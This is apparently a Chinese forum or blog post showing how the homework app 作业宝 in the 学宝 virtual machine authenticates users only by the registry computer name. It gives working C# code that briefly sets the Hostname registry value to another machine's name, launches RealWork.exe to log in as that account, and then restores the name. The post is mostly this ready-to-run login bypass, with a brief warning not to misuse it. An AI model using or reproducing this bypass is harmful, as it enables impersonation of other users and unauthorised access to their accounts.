大家都发现学宝虚拟机里的作业宝能一键登录吧,我稍稍研究了一下,其实就是读取注册表中的计算机名的值再去和服务器匹配,如果匹配成功就登录。以下是C#源码,随便新建一个窗体程序,在窗体载入函数中写下如下代码即可(条件:作业宝在D:\作业宝
目录下,程序所在目录有配置文件config.ini
,其中xb
的内容就是学宝虚拟机的计算机名。但是不要恶意登录他人的!还有~本程序得以管理员身份运行,因为修改了要权限的注册表。[首创])
配置文件:
源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13
| void MainFormLoad(object sender, EventArgs e) { StringBuilder sb = new StringBuilder(); GetPrivateProfileString("csust", "xb", "", sb, 255, Environment.CurrentDirectory+"\\config.ini"); RegistryKey rkLocalMachine = Registry.LocalMachine; RegistryKey rkChild = rkLocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters", true); this.Text=rkChild.GetValue("Hostname").ToString(); rkChild.SetValue("Hostname",sb.ToString()); System.Diagnostics.Process.Start(@"D:\作业宝\RealWork.exe"); Thread.Sleep(3000); rkChild.SetValue("Hostname",this.Text); Environment.Exit(0); }
|